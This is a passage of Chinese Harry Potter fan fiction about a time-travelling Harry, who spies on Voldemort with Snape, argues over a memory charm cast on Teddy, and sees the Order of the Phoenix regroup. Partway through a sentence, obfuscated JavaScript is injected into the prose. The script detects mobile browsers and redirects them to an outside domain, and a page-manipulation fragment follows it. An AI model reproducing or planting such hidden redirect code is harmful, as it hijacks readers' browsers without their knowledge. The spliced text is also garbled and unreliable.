“哈利你的身体怎么样?受的伤好了没?别跟我说你没受伤过!”泰迪看上去就像个审问犯人的傲罗。归根结底泰迪这次“离家出走”的行动就是为了哈利,即使表面看上去他还有个“完整”的教父,但哈利苍白的脸色及脸上掩饰不住的虚弱根本成不了安慰。 哈利显然也没料到泰迪首先问的是自己的身体状况,转念一想难道他半夜跑去睿瓦纳塔就是为了这个?可他怎么会知道?疑惑之余又有点感动,拍拍他的脑袋,十分流畅地睁眼说瞎话,“已经痊愈了,完全没必要担心。” 实际上,在连番打击的轰炸下,他现在感觉糟透了。 哈利不清楚自己“善意的谎言”是否凑效,因为泰迪只是盯着他不说话,逼得他不自在地清了清喉咙,只希望赶快转移话题,“我想你还有别的问题?要知道,现在已经接近凌晨4点了,你明天还要回去……”哈利的声音渐渐弱下去——泰迪灰色的眼眸里正闪动着危险的光芒。为此哈利对自己的教育成果表示深切怀疑,他以前哪有胆量这么对小天狼星啊? 而泰迪则不满地瞪了他一眼,他已经决定了,这回就算哈利赶他跑他也不会回去陋居的。 至少要监督到他完全恢复健康为止。泰迪心里有个小人在暗暗握拳。 下定决心后,泰迪就不再和哈利就生命与健康的问题纠缠下去。可接下来的问题让他踌躇不已,尽管他迫切渴望得到解答——只要回想起那个地方,不安的情绪就控制不住地在体内骚动。他咬咬下嘴唇,还是问出了口,“哈利你和……你们到底在那里做什么?还有你这个样子……” 意料中的问题。哈利并不奇怪泰迪会想知道实情,所以他也早就准备好面对他的疑问。 可以的话,哈利自然不希望泰迪才12岁就牵涉太深,但有时一无所知造成的伤害可能比想象中更大。 他又想起那个白胡子老人过于步步为营,结果仍避免不了做出的错误决定。 哈利暗叹一声,在房间布下个静音咒,才直言回答,“听着,泰迪。那间房间里除了我和斯内普,还有一个人——”他顿了顿,“是伏地魔。” 犹如一个炸尾螺在耳边炸响,泰迪震惊得合不上嘴巴。 谁能想到,在阴差阳错下,他差那么一点就会和巫师世界最大的魔头近距离接触了? 把泰迪的反应看在眼里,哈利淡然地继续说,“我知道这听上去很不可思议,也很难接受。但事实是,从假期前我就和斯内普一起在做卧底。换句话说,我们算是安插在伏地魔身边的间谍。” 说到这里,他指指自己的脸,“你还记得这个人是谁吗?” 还没从惊骇中回过神来的泰迪本能地摇头。 “‘他’是小巴蒂·克劳奇,没错,他是个食死徒。而且你在万圣节那天碰到的,还有假扮德拉科·马尔福的就是他。”看着泰迪越睁越大的眼睛,哈利慢条斯理地说,“不过,现在真正的小克劳奇被我们关在某个地方,而我负责假扮他接近伏地魔。一方面是为了不打草惊蛇,让伏地魔发现他已经被我们这方察觉就麻烦了。另一方面,这个时代的伏地魔举止间处处透着古怪。我几乎敢肯定——他应该是和我们一样从未来回来的。当然,他身上有些谜还是没法解答。” 泰迪倒吸一口气,“可哈利你明明打败伏地魔了!他怎么可能——” “我也不想相信,但伏地魔显然是知道‘哈利·波特’这个名字的。”哈利苦笑着说,“这个时代的‘我’你也认识,只是个普通的、谈不上有多出色的孩子罢了。如果伏地魔不是未来的那个,我想不出会有任何理让他注意到这个时代的哈利·波特。” 当伏地魔也是穿越时空而来的想法第一次在脑际形成后,就宛若剧毒般蔓延、腐蚀着哈利的神经——他时不时会感到痛苦万分,假若伏地魔的确没死,那么他们之前付出的无数生命,还有努力究竟都是为了什么? 可不管他再怎么试图否认,是事实,就不会被扭曲成谎言。 泰迪当然不可能知道、即使知道了也不可能真正了解哈利的痛楚,他关心的只有教父的安危,“这么说来,哈利你们岂不是很危险?” “要冒险就得承担风险,我傲罗都做了好几年了,会注意安全的。”哈利满不在乎地回答,迎来泰迪的怒目而视后,急忙加了一句,“我保证。” 毫无诚意的保证,泰迪没有说出口,而是在心里碎碎念。他不是没有自知之明,屡次的遇险,让他明白自己的弱小不但无法成为哈利的助力,反而会像今天一样差点成为累赘。 因此他默默地下了第二个决心,努力学会更多魔法。 一时间两人都闷声不语,空气的流动也变得缓慢起来。 哈利趁机找出解药,不过是几秒钟的功夫,他已经恢复了原本的模样。 看着熟悉的面孔,泰迪欲言又止好几次,终于硬着头皮问出梗在心头的疑问,“哈利。” “嗯?”眼皮有点支撑不住的哈利懒洋洋地应道。 “那时候我们躲在外面被发现,西……为什么只把德拉科带进去?” 哈利一下子清醒过来,“当时出去的是斯内普,我一开始甚至不知道你也在外面。我们也不可能有机会商量。”他又皱皱眉,“但斯内普这么做有他自己的理由,应该是笃定伏地魔不会对——”卢修斯·马尔福的名字被扼杀在舌尖处。总算他还考虑到不该贸贸然让泰迪知道自己同学的父亲是个食死徒。 泰迪当然不知道他的顾虑,嗓音微弱地说,“可你说德拉科他没事……” 哈利挥挥手。“我没骗你,你等会儿就能看到他了。不过他的记忆可能会出点小问题,我们不得不对他用遗忘咒。” “遗忘咒?” “没错,这个咒语会令他忘记今晚在那里发生的一切,短时间里记忆会混淆,并带有点无关紧要的后遗症。虽然是伏地魔的‘命令’,但相信我,这也是为了马尔福本身的安全。” “伏地魔会那么容易放过他吗?”泰迪觉得难以想象。 哈利迟疑着说,“关于这点,我们有一定的把握,否则你以为为什么斯内普偏偏带他进去?” “如果伏地魔没打算让德拉科活下来呢?毕竟我们是偷听者,如果他一定要杀了他——”泰迪语气里带着谴责的意味,“哈利你们是不是打算就束手旁观了?故意把我留在外面,难道不是为了保护我,存心要牺牲德拉科吗?这对他不公平!”泰迪越说越激动,完全没有注意到在他身后,不知不觉间斯内普已经站在门口冷眼旁观。 正对着门的哈利自然是看到了。 他有意无意地瞥了斯内普一眼,然后把双手搭在泰迪肩上,把他拉近了些,以十分严肃的神情和语调说,“如果,这个最坏的可能真的发生了,我向你保证我们会尽最大努力把他救回来的。” 哈利没有意识到,自己在潜意识下用的词是“我们”而不是“我”。 他也没有意识到,他的语气中带有着一丝不确定——如果救马尔福的代价是要暴露身份呢? 泰迪久久地凝视着他,最后深深吸口气,在那一刻作出了重大的决定。 “哈利,对我用遗忘咒吧。” 哈利目瞪口呆地看着他,几乎怀疑自己的耳朵。 “我很认真考虑过了。我没亲眼看到你现在的工作有多危险,但我能想像得到。只要我什么都不记得,就没人可以从我这里问出秘密了,你们就能少承担一份风险不是吗?” 成熟得不像小孩子的发言使得哈利陷入不知所措的窘迫境地。 对自己的教子用遗忘咒?开什么玩笑! 可他没法开口反驳泰迪的决定。就像他没法否定这个决定的正确性。 几乎是下意识地,他在慌乱中用求助的眼神看向斯内普。 “一忘皆空!”回答他的是斯内普冰冷冷的念咒声,以及一道刺眼的红光。 在红光没入泰迪体内的刹那,原本灰色明亮的眼睛失去了神采,随之身体直挺挺地往前倒。 哈利在最初的愣怔后很快反应过来,手忙脚乱地接住他护在自己怀里,忍不住咆哮,“斯内普!你怎么敢!” 他连掐死斯内普的心都有了。 “我以为你的那个眼神,是在询问我的意思。”斯内普用比耳语略高的声音圆滑地说。 “没错,只是询问而已!”哈利咬牙切齿,特意加重“询问”两字的发音。 “那我的回答就是‘是’。” “可你动手前是不是至少该问过我这个教父的意思?” 闻言,斯内普缓慢地向房中间走去,在离哈利还有两步距离时停下脚步,脸上呈现出一副居高临下的神色,“只要你的大脑里还留有那么点可怜的理智,就应该知道一个12岁的孩子都比你更懂得顾全大局。而我,不过是善意地帮你省却一个麻烦的步骤,省得你父爱泛滥,不舍得对自己的教子下手。”满意地看到哈利隐隐发青的脸色,他无情地冷笑道,“再说,我要是凡事都得先经过你的同意、批准,你最亲爱的教子大概已经陈尸在黑魔王面前了。” “斯内普!”哈利的火气无法抑制地窜到脸上,他仿佛听到自己牙齿咬碎的声音。 他一字一句地吼道,“我·不·会·让·这·种·事·发·生!” 斯内普露出优雅的假笑,“就算会前功尽弃?” 不等哈利反驳,斯内普漆黑的眼眸里掠过一抹了然,嘴角扭曲,“啊,毕竟是自己的教子,亲疏有别,我理解。”他以融合了嘲讽及不屑的口吻毫不留情地说,“被推出去的是德拉科·马尔福,所以你可以‘尽职’地配合我演戏。若被抓住的是你的教子,恐怕你立刻就会舍弃身为间谍的自觉吧。收起你那套伪善,波特。” 哈利的双手在不知不觉中捏成拳头,喉咙一阵阵发紧,当他再次开口的时候,声音平静得异常,“如果,今天躲在走廊里的只有泰迪一人,你会把他带到伏地魔面前吗?” 他不会天真地以为,泰迪能有德拉科的好运。等待那个孩子的只可能是死亡—— 斯内普脸上一片空白。 哈利无力地合上眼,又睁开,体内只剩下疲惫和消沉。他把泰迪抱起轻轻放到床上,并细致地替他盖好被子。 其实他不需要斯内普的回答—— 为爱而牺牲的人……在绿光中陨落的人……至死也没有暴露间谍身份的人…… 在某些时候他们必须做出抉择。 而某些抉择,则会如同锋利无情的刀刃,把灵魂划得鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156373|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淋漓。 他的心仿佛也被硬生生撕裂,比什么时候都痛。 两人继续在沉默中对峙。 “我说过我会保护他。” 哈利猛然一震,转身去看斯内普,“你会保护他?”他喃喃地重复道,似乎是为了确认,也可能是答案过于突然而感到难以相信。 “你认为我会什么都不做,让他像待宰的猪一样被杀吗?”斯内普高声说,仿佛用尽了力气来说每一个字,“呼神护卫!” 一只银色的动物从斯内普的魔杖尖跳出,在哈利震惊得无以复加的目光中欢快地绕着屋子奔腾,最后渐渐在空气中消退光芒,剩下哈利沉浸在复杂的情绪中。 斯内普的守护神,是什么时候开始……不再是牝鹿的? “斯内普。” 哈利浑然不觉自己眼前蒙上一层水雾,连斯内普略微扭曲的面孔也看不真切。 ——你这次是不是可以不用放弃灵魂了? 可话到嘴边,却变成,“这个守护神……是因为泰迪?” 斯内普缄默不语,就在哈利准备把他的沉默当成默认,一丝自嘲似的痉挛才掠过他的嘴角,“不全是。” 不全是? 哈利眼神古怪地看着他,但斯内普显然已经没有再说下去的欲望。仿佛刚刚的争执不曾发生过,他已然完美地转换成一副公事公办的样子,“必须和阿不思联系,再拖延一刻,我们这边的劣势就会大上一分。” 哈利点点头,“反正睿瓦纳塔那里我已经全部布置好,随时可用。” “今天黑魔王给我们的‘惊喜’还真够大的。”斯内普的语气难得的不镇定起来。 “是啊。”哈利叹道,眼睛危险地眯起来,“第四个不可饶恕咒。” 说完他甩甩神智开始涣散的脑袋,潮涌而来的倦意让他感到难受,“待会儿校长室见,我先回家一趟。” 斯内普皱紧眉头,把手里一直捏着的恢复精力的药水丢给他,附带一个“这种时候还回去干什么”的眼神。 哈利把药水一饮而尽,虚弱地笑笑,“搬书。” …… 泰迪迷迷糊糊地从梦中醒来。 他恍惚地望着天花板,好一会儿睡意才彻底消退。 然后他猛地坐起来,往四周看看,房间里只有他一人。 他爬下床,经过墙上挂的镜子时看到自己清澈无比的眼睛。 罗恩和双胞胎都已聚集在厨房里,正围在哈利身边,脑袋凑在一起嘀嘀咕咕的。 而斯内普远离喧闹,坐在桌子的另一头独自享用早餐。只有在泰迪进来的时候,淡淡地瞥了他一眼。 无情的眼神。红光。泰迪没由来地畏缩了一下。 “早上好。”他低声说。 “嘿,早上好,伙计。”罗恩咧开嘴,对他露出大大的笑容,“快过来!” 泰迪又不安地往斯内普方向看了眼,后者的视线已经回到自己的咖啡上。他快步走过去,注意到哈利脚边放着一个打开了的大纸箱。 “睡得好吗?”哈利看着他的眼睛,温和地问。 泰迪嗯了一声。 “给你。”罗恩把一套七本书塞到他怀里。 “这是什么?”泰迪迷惑地低头看去,最上面那本书的书名是《与食尸鬼同游》,著者是吉德罗·洛哈特。 “现在最著名的偶像作家的作品,迷倒了一堆少女少妇——包括我们的妈妈。”弗雷德耸耸肩,也是满脸不解,“可佩弗利尔教授让我们一人拿一套,说以后用得着。” “没错,千万别拿去折纸飞机,也别烧了埋到院子里去。”哈利假装认真地说,“另外别忘了给你们妹妹带一套回去,我记得她是今年入学对吧?至于珀西,我想他不需要。” 乔治眼珠子转了圈,“佩弗利尔教授,你该不会是他的骨灰级发烧友吧?” 弗雷德故作惊讶地嚷嚷,“难道洛哈特的魅力已经到了能男女通吃的地步?” “没有的事。”哈利摆手,“上次和洛哈特会面的时候,他友好地赠送了三套他的著作给我,邓布利多教授和斯内普教授。当然,邓布利多教授和斯内普教授十分慷慨地把他们的赠书转赠给你们。另外我又——” “厨房里不准喧哗,格兰芬多提前扣十分。”斯内普充满恶意的声音冷不防地响起。 所有人都反射性地闭上嘴巴,包括哈利。 罗恩难以置信地往头也不抬的斯内普偷瞄,努力把声音压到和蚊子差不多小,“提前?扣分还能提前?” “为什么不能?”背后传来语调被拖得长长的声音,德拉科·马尔福一脸睡眼惺忪地站在罗恩背后。 罗恩吓得跳起来,往后退了好几步,几乎控制不住要尖叫起来,幸亏他及时想起斯内普的存在,硬生生又咽了回去。他低吼,“你来干什么!马尔福!” 马尔福鄙夷地看着他,“来厨房还能干什么?你这个问题创下了愚蠢的新境界,韦斯莱。”又瞥见站在一旁的泰迪,“晚上好,泰迪。” 泰迪露出古怪的表情,“现在是早上,德拉科。”他小声纠正。 “哦,这点小事别在意,我还想说午安呢。”德拉科漫不经心地挥挥手,“哦?这东西看上去不错。”他颇感兴趣地看了看泰迪手上的书,拿过《与食尸鬼同游》,在众人诧异的目光中,径自放入自己的口里! “德拉科?”泰迪僵住了。 在接下来的几分钟,厨房内少了五个活人,多了五具表情各异的石像,斯内普淡定地开始切盘里的培根。 哈利最先恢复过来,狠狠剜了斯内普一眼后,重重地清了清喉咙。 这显然是使用一忘皆空后产生的后遗症。同时他也感到奇怪,怎么泰迪看上去一切正常? “马尔福,把你……呃,嘴里的书给我。”哈利满头黑线地看着德拉科十分听话地把书交到他手里,书皮的一角还湿淋淋的。“我想你大概是没睡醒,回去睡个回笼觉怎么样?”他无力地建议道。 “你的建议不错,佩弗利尔教授。”德拉科礼仪十足欠了欠身,“圣诞快乐。” “噗……”在德拉科离开厨房后,不约而同响起好几声憋不住的笑声。罗恩在地上打滚,乔治捂着肚子狂捶地,弗雷德竭力想把笑声压下去,结果身体抖得跟启动了的引擎似的。连斯内普也掀动了一下嘴角,虽然仅仅是一秒的时间就恢复了漠然。 泰迪也好不到哪儿去,但他想起哈利跟他说过遗忘咒的后遗症,很快就释然了。当然,他不能把这个原因告诉罗恩他们。所以他歪着脑袋想了想,“我觉得德拉科挺有趣的,你们不考虑和他做朋友试试看?” 大家都笑得很快活。哈利和大家一样脸上盛满笑容。 可是,今天的哈利,泰迪在他眼里找不到笑意。 而德拉科的事件也让他发现,他的记忆还在。 …… 小天狼星风风火火地闯进波特家,一进门便毫无顾忌地大声嚷嚷,“詹姆斯!莉莉!你们收到了没?” “收到了。伙计,才大清早你就这么精神。”起居室里正和莉莉谈话的詹姆斯抬头呵呵笑道。 莉莉则干脆白了他一眼,“看在梅林的份上!拜托你小声点,哈利还在睡呢。” “嘿嘿。”小天狼星满脸傻笑地抓抓脑袋,原本飘逸的黑发如今跟詹姆斯头上的乱鸟巢有得比,“我实在是太兴奋了!” “你一兴奋,我可苦了。昨晚可是通宵写书,凌晨五点刚躺下去不到一个小时,这家伙就在窗外又叫又嚷,硬是急匆匆把我拉了过来。”悠闲地跟在他后面进门的卢平不甚优雅地打了个哈欠,“不知道的人还以为外面有只蠢狗在乱吠。” 小天狼星做咆哮状,“你说谁是蠢狗?” 卢平一脸无辜,“这里除了你谁还喜欢啃骨头?” “噗嗤!”詹姆斯极不给面子地笑出声,“好了好了,都别贫嘴了。你们来不是有正事的吗?”他扬扬手中的羊皮信纸。 “精确。”卢平微笑,又略带疑惑地朝楼上瞄了眼,“对了,哈利怎么还在睡?七点也不早了。” 一说到这个,莉莉便有些忧心忡忡,“他这两天老是做噩梦,在梦里又哭又喊的,总要折腾到很晚才能消停。等他醒来问他噩梦的内容,他居然全忘了。” “噩梦……吗?”卢平若有所思地重复了一遍。 “你们太杞人忧天了。”小天狼星大大咧咧地一挥手,“小孩子做做噩梦有什么奇怪的?别管他,过两天自己就会好的。” 莉莉脸上的忧色缓解了几分,“但愿如此吧。” “那么现在来谈谈这封信。我想我们收到的是一样的吧。”詹姆斯把信纸放到茶几上,隐约可见最后的署名是龙飞凤舞的“阿不思·邓布利多”。 “没错。”小天狼星和卢平也从长袍口袋里掏出各自的信——和詹姆斯手中的别无二致。 詹姆斯往沙发背一靠,“你们有什么看法?” “当然是去了!”小天狼星叫道,“难道我们当初能无畏地和他们战斗,现在反而临阵退缩了?” “不,我想说的是,伏地魔真的回来了?”詹姆斯并不如小天狼星那么乐观,他一针见血地指出,“我和莉莉刚刚讨论了一下,关于他的行踪,至今没有听到一点风声,更别提那几个逍遥法外的‘食死徒’也都是安分守己的。邓布利多偏偏在毫无预兆的情况下寄出召集信,他究竟是凭借什么来证明伏地魔准备东山再起了?” 小天狼星被问得哑口无言。大家都陷入短暂的沉默中。 一直没有吭声的卢平忽然说,“但我们应该相信他,邓布利多是不会无的放矢的。” “莱姆斯说得对,事实真相等我们去了就知道了。”詹姆斯点点头,目光投到信纸底下的信封上,封口处印有一个金色的印章—— 那是一只展翅的凤凰。 36. 反咒语 凡是家养小精灵,必定以勤奋工作为荣。 即使是自由的多比也不在例外。虽然哈利并没有给它定下硬性的工作,但小精灵除了准备三餐,每天都会乐此不彼地把睿瓦纳塔上上下下打扫得一尘不染。偌大一座塔清洁起来的工作量可不比马尔福庄园更轻松,多比刚开始花了不少时间来摸透整座塔的构造,甚至和玻璃顶层较起劲来——可怜的多比,任它撞得满头包,使尽浑身解数也没法进去。最后哈利只得让深感挫败的小精灵扯着自己的长袍嚎啕大哭,足足安慰了好几个小时才让它重新恢复精神。 不管怎么说,有了多比这个尽心尽职的管家,哈利和泰迪的日子实际上过得相当舒坦。 今天是尤为重要的日子,客人的不断来访令多比忙得不可开交。现在它正忙着把一批新来的客人带往五楼的会议室,并时不时疑惑地往其中一位客人偷瞄一眼——为什么这个人长得和它最尊敬的哈利这么像? 多比频繁的小动作没有瞒过旁边的客人,那人看过来,和颜悦色地问,“怎么了?” “没……没事……这里就是会议室,请大家稍作等待……”多比结结巴巴地回答,鞠了一躬便慌慌张张往外逃,刚退出房间,就听见楼上传来轻轻的呼唤声。 “多比!” 它循声望去,只见一个小脑袋从八楼的栏杆上探出来,正在朝它招手。 小精灵蹭地飞上去,快活地问,“泰迪先生,多比有什么可以为您服务的?” “是泰迪。”泰迪一本正经地纠正,“你都可以直接叫哈利了,为什么还是不习惯叫我泰迪?我不喜欢那个多余的‘先生’。” 小精灵那网球大的绿眼睛顿时充满了泪水,“哦,多么的善良,多么随和,就和哈利一样——” 几天相处下来,泰迪早已习惯小精灵的行为模式,知道它一旦感情泛滥起来就会没完没了,十分干脆地打断道,“哈利还没回来?” 多比吸吸鼻子,甩着大耳朵摇了摇头,“多比没有见到哈利,虽然哈利说过他会回来开会。也许您可以先去斯内普教授家里找他?”当然,如果地点不是蜘蛛巷,多比大概早就自告奋勇前去传信了。 谁知泰迪愣了一下,“不了,我看我还是去照料花圃吧,今天还没浇水呢。” “多比已经帮您浇水了!”多比立刻精神百倍地尖声叫道。 泰迪抓抓小脑瓜,“那……我去找找看有没有地精。” “多比已经把所有地精都赶出去了!” “很好,我只是想去看看!”泰迪无奈地翻了个白眼,“门外现在没有人吧?” 他满意地看到多比在摇头,“那我出去了!”说着向小精灵挥挥手,跳上了楼梯。 多比目送着泰迪被楼梯送到塔底,正准备回去会议室为客人倒茶,忽然睁大了铜铃般的眼睛,“啊!多比发现又有客人来了!” ………… “尊敬的泰迪·卢平……诚挚地邀请你……” 斯内普走进起居室,尖利的眼睛扫过咬着笔杆斟酌用词的德拉科,微微蹙眉,“佩弗利尔在哪里?” “我想应该还在实验室里,先生。”德拉科·马尔福对他简单地点头示意,才把视线移回桌上的羊皮纸上,“我早上经过那里时听到两次不明爆炸声。”漫不经心的语调说明他对这事已经见怪不怪了。 斯内普从鼻子里“哼”了一声,转身便打算去兴师问罪,德拉科的声音自背后响起,“先生,我可以邀请泰迪过来吗?” 回头瞄了眼桌上已经写了几行字的羊皮纸,斯内普本想告诉他根本没必要写什么邀请信,泰迪经常会主动跑来串门。但又忽然想起那次之后那个小鬼便一直没有来过,反倒是见鬼的波特天天霸占他的实验室搞破坏。 想到此,斯内普脸上的阴云又浓郁了几分,冷冷地扔下一句“随便你”即扬长而去。 手搭在门把上,房里没有断绝过的爆炸声在催化他的怒火,斯内普敢肯定,自己的实验室绝对被折腾得惨不忍睹了。幸亏他还有先见之明,在哈利提出借用实验室的要求之际就立刻把珍贵的魔药和材料都转移到地窖里,远离了这场灾难。 守门的两条极北蝰蛇盘绕在他脚下,嘶嘶地吐着蛇信子,似乎在投诉实验室几天以来的不安宁。 门把向下压了约摸一英寸,斯内普莫名地松开手,失去压力的门把“啪”的一声又弹回原位。 看不出面无表情的脸孔下有着怎样的心理活动,他只是顿了顿,细长的手指再次握上门把,这次一压到底。 “砰!” 震耳欲聋的响声,伴随着一股热浪及浓浓的黑烟毫不客气地迎面袭来。 当黑烟散尽,门口站着的是头顶冒烟、蒙头黑面的魔药教授。 斯内普的眼睛危险地眯起来。他的脸和自己油腻腻的头发一样黑。 实验室的空气停滞了几秒钟。 脸上的黑灰比斯内普的还要厚上几层、满是破洞的长袍可以和乞丐媲美的哈利正盘腿坐在地上,看到斯内普便讪讪地笑道,“你进来前该先敲门,好让我有个准备。” 斯内普以极度不信任的眼神瞥了瞥他身边那团焦黑的、炸得几乎看不出原样的坩埚,“准备什么?更具威力的爆炸?另外,让我提醒一下极度缺乏时间观念的某人,为了进行这种不负责任的破坏行为,你连凤凰社重组后的第一次会议也准备翘了?” “我不过是忘了时间而已。”哈利咕哝道。 “哦,是吗?我还以为你懦弱到不敢去见你的父母和那只蠢狗。”斯内普轻轻地说。 “你说什么?”哈利皱皱眉头。 “我不会重复一遍。”斯内普用犹如毒蛇吐信般地腔调说,“总之,因为哈利·波特的破坏行径,格兰芬多将为此扣50分。” “50分?”哈利震惊地拔高嗓子抗议,“你脑子进水了?我可是个教授!” “很高兴你还能意识到自己的身份。”斯内普恶意地扯扯嘴角,“不过我相信,另一个哈利·波特会感激地为你承担这些分数的。毕竟,因为你们那些不可告人的关系——” “你在公报私仇!”哈利恼火地叫道,他完全没料到斯内普居然明目张胆地威胁自己。 斯内普只是回以他圆滑的冷笑。哈利第一次为十二岁的自己感到悲哀万分。 “如果我在一分钟内得不到明确的解释——”斯内普居高临下地说,“关于你那不知所谓的实验,那么我会考虑再加扣10分。” 有那么一瞬间哈利看似气得要跳起来,最后他还是放弃般地叹口气,迟疑了会儿才说,“我在研究不可饶恕咒的反咒语。” “我很抱歉?”斯内普怀疑自己耳朵被震坏了。 “就是钻心咒和阿瓦达索命咒的反咒语!”哈利瞪了他一眼,“夺魂咒只要意志够坚定就可以抵挡,剩下的两个我在尝试——” 斯内普粗鲁地打断他,“我不在乎你在尝试什么。但是,就算是邓布利多都不敢把他的鼻子翘上天。连他也解决不了的黑魔法——”他轻蔑地挑起一根眉毛,“凭你?” 面对斯内普的怀疑,哈利只是耸耸肩,“我敢说邓布利多不是解决不了,是没法解决。我回来这个时代之前,不可饶恕咒及相应反咒语的原理已经被彻底分析过,并且得到了不列颠巫师魔咒协会的认可。比如说,钻心咒不会给人体造成任何物理性质的伤害,它是凭借着刺激全身的疼痛神经,把疼痛感放大到令人难以承受的程度。至于阿瓦达索命咒,同样不会造成物理伤害,而是会在一瞬间把灵魂剥离人体。想想吧,灵魂一旦离开身体,就不可能重新连接起来,那就代表彻底的死亡。所以钻心咒的反咒语是暂时性的麻痹疼痛神经,这很困难,一个搞不好会把所有神经都破坏掉。而阿瓦达的反咒语则是想办法阻止灵魂脱离人体。”他滔滔不绝地说道,“现在的问题是反咒语的实验完全没有进行 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目光扫过满屋子的狼藉,再联想到之前不时发生的爆炸,斯内普神色间掠过一丝恍然和难以置信,仿佛在看怪物似的眼神落在哈利身上,“我能否理解为,你打算在自己身上下钻心咒……甚至是阿瓦达索命咒?” “不是打算,是已经用过了!”哈利没好气地回答。“阿瓦达索命咒暂时用不了,我可不能一边杀自己一边救自己。正好你可以来帮忙。” 斯内普眉角抽动了一下,“真是……高尚的勇气。你想自杀我不会阻止,少一个波特对我来说完全是件值得开香槟庆贺的事。只是我很好奇,你的自信究竟建立在什么上面?救世主特有的……天真上?”他故意在“救世主”一词上加重语气。 哈利对上斯内普的视线,祖母绿的眼睛里闪着奇异的光芒。 “很简单,阿瓦达索命咒杀不死我。” ………… 站在光秃秃的科洛斯山顶上,卢平若有所思地打量着四周,“这里的防御措施的确高明,难怪阿不思叫我们不用顾虑太多,可以直接幻影移行过来。” 他从口袋里摸出一张羊皮纸条,上面是邓布利多细长的笔迹,写着: 凤凰社指挥部位于科洛斯山谷睿瓦纳之塔。 卢平飞快地看了一眼,然后用魔杖把纸条点燃,看着燃烧的纸条卷曲起来,落在地上化为灰烬,才在心里默念刚刚记住的地址。刚想到睿瓦纳之塔,只见眼前本来荒凉的景色扭曲起来,地底传来轰隆隆的闷响。随后,如同在播放植物生长的快镜般,一座纯白的塔楼自地下冒出,片刻功夫后便耸然而立。卢平的眼睛里毫不掩饰地露出赞叹之情,他缓步走上门前的台阶,手尚未搭上铁环,门吱呀吱呀地向里打开了。 他本以为是来迎接的人,可走出来的是一个十二岁左右的男孩,那个男孩愕然不知所措地望着他。 卢平讶异于这里居然会有小孩子的存在,他特意看了男孩一眼,目光立刻被他吸引住。 红棕色的卷发,眼睛是很美的浅灰色,整个面貌有一种纯真的神态。卢平在看着这个男孩的同时,一股说不清道不明的熟悉感潮涌而来。 “你是凤凰社成员?”那个男孩率先开口问道。 卢平愣了愣,也没去在意为什么一个小孩子会知道凤凰社,只是奇怪地觉得男孩一瞬间看上去有点激动。他温和地说道,“是的。” 男孩已经平静下来,显得特别文静。他带着点羞怯地点点头,“请跟我来吧,先生。” 默默地跟着男孩进入塔内,卢平已经无暇去欣赏里面的富丽堂皇。连他自己也说不清,为什么会对这个第一次见面的男孩产生想要亲近的感觉。直到他们站上楼梯,他终于忍不住问道,“你……” “这里是我家。”男孩对他露出笑容,仿佛猜到他要问什么。 原来如此。卢平也释然地笑笑,“我是莱姆斯·卢平。可以告诉我你的名字吗?” 男孩漂亮的眼睛眨了眨,“我是泰迪,泰迪·卢平。” 37. 小天狼星的疑惑 会议室的门被打开。 原本百无聊赖地斜坐在椅子上的小天狼星顿时坐端正了身体,可他很快露出失望的神色,进来的是个脸颊粉嘟嘟的女巫。 他对这个女巫有点印象,海丝佳·琼斯,但也仅止于此。 看来是新成员。他迅速恢复适才懒散的模样,脖子懒洋洋地歪向一边,视线从琼斯身上移开,漫不经心地扫视整间会议室。 斯多吉·波德摩、金斯莱·沙克尔、埃菲亚·多戈、米勒娃·麦格、阿拉斯托·穆迪…… 诺大的会议室已经坐满了一半,老成员却只有寥寥几人。 人类的生命真是很脆弱,在这点上麻瓜和巫师没有什么区别——谁也说不准哪天就会如流星般不可挽回地陨落。 似乎是注意到小天狼星的目光,穆迪四处转动的蓝眼珠直直朝他看来,后者一哆嗦,被透视力极强的假眼扫过的皮肤起了一层鸡皮疙瘩。 好在他们也算是十年前的老战友,穆迪嘴角似笑非笑地扯动一下,假眼只在小天狼星身上停留了几秒钟,便又开始疯狂地扫描整栋塔。看来他对睿瓦纳之塔抱有极大的兴趣,真是难得。 不知道他的假眼能透视到几层楼? 小天狼星在心里好奇,乖乖地收回视线。想归想,他现在没心情去自讨没趣。 说起来,邓布利多从哪里找来这么个隐蔽的地方作为凤凰社总部的?连穆迪那个老疯子都赞不绝口。总不可能是现建的吧?看外面那脱漆的墙也不像…… 无聊至极的小天狼星重新打量了一番会议室,而这时又进来了两个新人。他不抱希望地随便瞄了两眼,只觉得看着眼熟,一时半会儿没想起名字。 他不禁又在心底默默诅咒自己最要好的朋友。 好家伙,说什么今天肯定会让他觉得很有趣,害他一大早就巴巴地等在这儿,自己倒连影都没一个。身边也没个聊得起来的熟人,简直是快闷死他了。连莱姆斯也还没到。当然,满月刚过去没两天,他可不能抱怨月亮脸那毛绒绒的小毛病,小天狼星体贴地想。 “没……没事……这里就是会议室,请大家稍作等待……”门口传来小精灵特有的尖细声音。 小天狼星循声望去,眼睛一下子亮了。 跟其他人匆匆打了招呼,迈着轻快步子向他走来的不是詹姆斯还能是谁? 詹姆斯拉开他旁边的椅子坐下,满脸笑容。小天狼星不满地打了他胸口一拳,“你这家伙,怎么这么晚才来?” “是你来得太早吧,现在离会议时间可还有半个小时。”詹姆斯摸摸发疼的胸口,嬉皮笑脸地回道。 “还不是因为你上次说……咦,莉莉呢?”他这才发现从头到尾只有詹姆斯一个人,莉莉没在他身旁——可她也是凤凰社成员啊! 小天狼星心里咯噔一下,又问了一遍,“莉莉怎么没来?”不过随即,詹姆斯那爽朗得就差没哼小曲的笑容把他的紧张消去了大半。 果然,詹姆斯故作遗憾地把手搭在他肩上,“告诉你个‘坏消息’,伙计,莉莉今天不能来了。她……”他话说一半忽然停住,“嘿,莱姆斯!” 没等小天狼星反应过来,卢平已经坐到他的另一边。 和詹姆斯写在脸上的好心情不同,卢平的表情只能用复杂来形容,也许还夹杂着些惊奇。他对两个好友便点点头便又陷入了自己的沉思里。 